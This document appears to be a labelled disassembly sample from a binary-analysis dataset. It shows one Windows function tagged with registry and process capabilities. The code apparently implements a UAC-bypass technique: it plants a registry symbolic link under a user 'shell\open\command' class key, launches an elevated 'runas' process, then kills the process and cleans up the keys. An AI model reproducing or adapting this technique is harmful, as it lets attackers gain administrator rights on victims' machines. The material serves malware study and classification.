Function at 0x140016979
Capabilities:
Create process on windows
Delete registry key
Set registry value
Terminate process

Disassembly:
jmp 0x140028990
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
mov eax, 0x1858
call fcn.14001622b
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x482
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1878]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x17f8], rax
lea rcx, [0x14007efd3]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov byte [rbp + 0x24], 0
mov dword [rbp + 0x44], 0xc0000022
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0x10f8], 0
mov eax, 0x22
mov word [rbp + 0x1158], ax
mov eax, 0x24
mov word [rbp + 0x115a], ax
lea rax, str.SymbolicLinkValue
mov qword [rbp + 0x1160], rax
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x1184], eax
mov edx, 0x410
lea rcx, [rbp + 0x1b0]
call fcn.140016825
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028a8c
jmp 0x140028f17
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x118]
call fcn.14001675d
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028aad
jmp 0x140028f17
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0x1b0], cx
mov qword [rbp + 0x17a8], 2
cmp qword [rbp + 0x17a8], 0x410
jae 0x140028add
jmp 0x140028ae2
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x17a8]
mov word [rbp + rcx + 0x1b0], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x1b0]
mov r8, rax
mov rdx, qword [rbp + 0x1838]
mov rcx, qword [rbp + 0x88]
call fcn.14001644c
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028b28
jmp 0x140028f17
mov byte [rbp + 0x24], 1
lea rcx, [rbp + 0x1b0]
call fcn.1400162a3
movzx ecx, word [rbp + 0x11a]
lea rax, [rcx + rax*2 + 0x104]
mov qword [rbp + 0x1138], rax
mov rcx, qword [rbp + 0x1138]
call fcn.140016695
mov qword [rbp + 0x10f8], rax
cmp qword [rbp + 0x10f8], 0
jne 0x140028b70
jmp 0x140028f17
mov rax, qword [rbp + 0x10f8]
mov qword [rbp + 0x180], rax
xor eax, eax
mov word [rbp + 0x178], ax
movzx eax, word [rbp + 0x1138]
mov word [rbp + 0x17a], ax
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028bb7
jmp 0x140028f17
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0xa10], cx
mov qword [rbp + 0x17c8], 2
cmp qword [rbp + 0x17c8], 0x208
jae 0x140028be7
jmp 0x140028bec
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x17c8]
mov word [rbp + rcx + 0xa10], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0xa10]
lea rdx, str.SoftwareClasses
mov rcx, rax
call fcn.1400161f9
lea rdx, [rbp + 0xa10]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028c3f
jmp 0x140028f17
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x178]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028c61
jmp 0x140028f17
mov r9d, 0x104
mov r8, qword [rbp + 0x1828]
mov edx, 0x104
lea rcx, [rbp + 0x5e0]
call fcn.1400165af
lea rdx, str._shellopen
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x68]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x5e0]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140028ce0
jmp 0x140028f17
lea rdx, str.command
lea rcx, [rbp + 0x148]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0xc8], 0x30
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0xe0], 0x40
lea rax, [rbp + 0x148]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
lea rax, [rbp + 0x1114]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0xc8]
mov edx, 0xf003f
lea rcx, [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtCreateKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xc0000035
jne 0x140028da8
mov eax, dword [rbp + 0xe0]
bts eax, 8
mov dword [rbp + 0xe0], eax
lea r8, [rbp + 0xc8]
mov edx, 0xf003f
lea rcx, [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028db3
jmp 0x140028f17
mov rcx, qword [rbp + 0x180]
call fcn.1400162a3
shl rax, 1
mov qword [rbp + 0x1138], rax
movzx eax, word [rbp + 0x178]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x180]
mov qword [rsp + 0x20], rax
mov r9d, 6
xor r8d, r8d
lea rdx, [rbp + 0x1158]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140028e0b
jmp 0x140028f17
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0xa8], 0
cmp dword [rbp + 0x1820], 0x3d
je 0x140028e39
cmp dword [rbp + 0x1820], 0x35
jne 0x140028ef4
mov rax, qword [0x140075c58]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xc40]
call fcn.1400161f9
mov rdx, qword [rbp + 0x1830]
lea rcx, [rbp + 0xc40]
call fcn.140016af0
mov edx, 0x70
lea rcx, [rbp + 0x1070]
call fcn.140016825
mov dword [rbp + 0x1070], 0x70
lea rax, str.runas
mov qword [rbp + 0x1080], rax
lea rax, [rbp + 0xc40]
mov qword [rbp + 0x1088], rax
mov dword [rbp + 0x10a0], 1
mov dword [rbp + 0x1074], 0x40
lea rcx, [rbp + 0x1070]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140028ef2
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, qword [rbp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
jmp 0x140028f0d
xor edx, edx
mov rcx, qword [rbp + 0x1830]
call fcn.140016a37
test eax, eax
je 0x140028f0d
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140028a71
cmp qword [rbp + 0xa8], 0
je 0x140028f2e
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x10f8], 0
je 0x140028f44
mov rcx, qword [rbp + 0x10f8]
call fcn.140016c1c
movzx eax, byte [rbp + 0x24]
test eax, eax
je 0x140028f77
cmp qword [rbp + 0x88], 0
je 0x140028f77
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x1b0]
mov rdx, rax
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp qword [rbp + 0x88], 0
je 0x140028f8e
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rbp + 0x1184], 0
jl 0x140028f9d
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, 2
imul rax, rax, 0
mov ecx, 0x5c
mov word [rbp + rax + 0x5e0], cx
mov qword [rbp + 0x17e8], 2
cmp qword [rbp + 0x17e8], 0x410
jae 0x140028fcd
jmp 0x140028fd2
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x17e8]
mov word [rbp + rcx + 0x5e0], ax
mov eax, 2
imul rax, rax, 1
lea rax, [rbp + rax + 0x5e0]
lea rdx, str.SoftwareClasses
mov rcx, rax
call fcn.1400161f9
lea rdx, [0x14004e5a0]
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
mov rdx, qword [rbp + 0x1828]
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
lea rdx, str._shellopen
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
lea rdx, [0x14004e5a0]
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
lea rdx, str.command
lea rcx, [rbp + 0x5e0]
call fcn.140016af0
lea rcx, [rbp + 0x5e0]
call fcn.1400164a6
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, reloc.Cabinet.dll_FCIDestroy
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x17f8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1808]
pop rdi
pop rbp
ret